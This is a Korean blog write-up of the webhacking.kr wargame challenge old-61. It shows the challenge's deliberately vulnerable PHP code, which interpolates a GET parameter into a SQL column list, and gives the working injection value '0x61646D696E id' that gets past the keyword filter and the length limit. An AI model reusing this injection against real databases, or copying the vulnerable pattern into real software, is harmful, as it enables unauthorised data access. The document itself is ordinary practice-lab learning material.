write-up(web)/webhacking.kr

[Webhacking.kr] old-61

chanchand 2023. 1. 15. 20:13
반응형

문제


<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
  $db = dbconnect();
  if(!$_GET['id']) $_GET['id']="guest";
  echo "<html><head><title>Challenge 61</title></head><body>";
  echo "<a href=./?view_source=1>view-source</a><hr>";
  $_GET['id'] = addslashes($_GET['id']);
  if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
  if(strlen($_GET['id'])>15) exit("Access Denied");
  $result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
  echo "<b>{$result['id']}</b><br>";
  if($result['id'] == "admin") solve(61);
  echo "</body></html>";
?>

 

 

 

문제풀이


id 파라미터가 입력되지 않으면 id가 guest이다.

', select, from, (, ), by 등 필터링되며, 15자 이하로 제한이 있다.

id가 admin일 때 문제가 해결된다.

 

select 'admin' from chall61 order by id desc limit 1 (X-필터링)

select 0x61646D696E as id from chall61 order by id desc limit 1 (X-길이제한)

select 0x61646D696E id from chall61 order by id desc limit 1 (O-as 생략)

 

admin을 hex 값으로 변환시키고, id 별칭을 사용한다.

id 파라미터에 "0x61646D696E id"을 입력하면  문제가 해결된다.

 

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] NotSQL  (0) 2023.01.19
[Webhacking.kr] BABY  (0) 2023.01.16
[Webhacking.kr] old-60  (0) 2023.01.15
[Webhacking.kr] old-59  (0) 2023.01.14
[Webhacking.kr] old-57  (0) 2023.01.11